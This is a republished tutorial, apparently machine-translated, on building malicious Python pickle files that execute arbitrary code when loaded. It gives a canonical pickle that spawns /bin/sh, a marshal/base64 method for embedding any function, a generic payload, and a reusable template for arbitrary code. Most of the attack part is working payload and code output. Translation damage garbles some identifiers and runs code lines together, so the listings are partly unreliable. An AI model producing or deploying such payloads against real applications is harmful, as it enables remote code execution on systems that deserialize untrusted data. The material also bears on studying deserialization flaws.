Use Python pickle to execute arbitrary code

Source: Internet
Author: User

Use Python pickle to execute arbitrary code

 

A large number of practices have proved that it is very easy to construct malicious pickle, and unpickle operations on malicious pickle may generate a shell or even a remote shell. This article describes how to use Python pickle to execute arbitrary code.

0 × 00 Python pickle Prohibitions

For Python pickle created not from known data, do not unpickle it. This is a common topic. At the same time, the Python document of the pickle module clearly states:

Warning the pickle module cannot guarantee security for erroneous or maliciously constructed data. Never unpickle any data received from untrusted or unauthenticated sources.

Nelson Elhage demonstrates a simple process of obtaining a remote shell by using subprocess. Popen. Marco Slaviero demonstrates how to build various standard shellcodes, including binding and connecting to shellcode, but these are basically unreadable and programming in pickle is just meaningless entertainment, this is not even necessary. I will show it later.

0 × 01 pickle example

First, we start with the canonical of Python pickle shellcode, and I save it as canonical. pickle.

# canonical.picklecossystem(S'/bin/sh'tR.

Next, we try to unwrap this pickle to see what results will be generated.

>>> import pickle>>> pickle.load(open('canonical.pickle'))sh-3.2$

0 × 02 introduction to pickle

Pickle is a stack language, which means that the pickle command pushes data into the stack or pops up the stack and operates it in some way. To understand how canonical pickle works, we only need to understand 6 pickle commands:

1. c: read a new row as the module name module, read the next row as the object name object, and then press module. object into the stack. 2. (insert a tag object into the stack. For our purpose, this command will be used with t to generate a tuples. 3. t: pop-up objects from the stack until a "(" is popped up, and create a tuples that contain pop-up objects (, in addition, these objects must be in the same order as they are pushed into the stack. The tuples are then pushed into the stack. 4. S: Read the string in quotation marks until it is in the line break and press it into the stack. 5. R: A tuples and a callable object pop-up stack. Then, this tuple is used as a parameter to call the callable object, and the result is pushed to the stack. 6.: End pickle.

To execute any Python code, the above commands are all the commands we need to master.

0 × 03 code analysis

Next, let's take a look at canonical pickle shellcode. We can see that the built-in function OS. system is first pushed into the stack. Then, a tag object and string "/bin/sh" are also pushed into the stack. Command t generates a tuple ('/bin/Sh',) containing only one element ',). The stack contains two elements:

OS. system and ('/bin/Sh ',). Command R pops up the above two elements, calls OS. system ('/bin/Sh'), and then pushes the execution result (shell return value) into the stack.

To execute any python code, we hope to be able to pickle the code. However, this does not work. Fortunately, Python 2.6 and later versions contain an marshal module, which can be used to serialize the code. Our basic task is to write arbitrary code as a Python function, perform marshal operations on the function, encode it in base64 mode, and then insert it into a common pickle, here, pickle will perform decoding, unmarshal operations, and call this function.

0 × 04 get shell example

For any calculation, we first calculate the 10-order Fibonacci number, print it out, and then get a shell.

import marshalimport base64def foo():        import os        def fib(n):                if n <= 1:                        return n                return fib(n-1) + fib(n-2)        print 'fib(10) =', fib(10)    os.system('/bin/sh')print base64.b64encode(marshal.dumps(foo.func_code))

Note: Because Python allows us to import modules and define functions within the function, we can compile any desired code in our foo function.

Run this code to generate the following content:

YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE=

0 × 05 create common pickle

We want to create a general pickle so that we can insert any base64 encoded functions into it and run them, such as the functions written above. Essentially, we want to generate a pickle that can execute the following Python code. The code_enc is our encoded function.

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

To make it more readable, adjust the format as follows:

code_str = base64.b64decode(code_enc)code = marshal.loads(code_str)func = types.FunctionType(code, globals(), '')func()

Next, let's build this part. To call base64.b64decode (code_enc), we simulate the previous operation with OS. system.

cbase64b64decode(S'YwAAA...'tR

We can add the call object to marshal. loads in the same way:

cmarshalloads(cbase64b64decode(S'YwAAA...'tRtR

Using the _ builtin _ module, you can call the function globals in the same way:

c__builtin__globals(tR

In order to build the function, we can combine these and then get:

ctypesFunctionType(cmarshalloads(cbase64b64decode(S'YwAAA...'tRtRc__builtin__globals(tRS''tR

Finally, we need to call the function at the top of the stack by appending "(tR." (the period ends with pickle.

By combining these fragments, we get a general pickle.

# generic.picklectypesFunctionType(cmarshalloads(cbase64b64decode(S'YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAAAYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE='tRtRc__builtin__globals(tRS''tR(tR.
>>> import pickle>>> pickle.load(open('generic.pickle'))fib(10) = 55sh-3.2$

0 × 06 template code

In addition, to change the executable code, you only need to change the foo function, run the Python program that prints the processed and encoded functions of marshal, and then replace the base64 encoded string in generic. pickle.

The following is a convenient template.

# template.pyimport marshalimport base64def foo():        pass # Your code here    print """ctypesFunctionType(cmarshalloads(cbase64b64decode(S'%s'tRtRc__builtin__globals(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.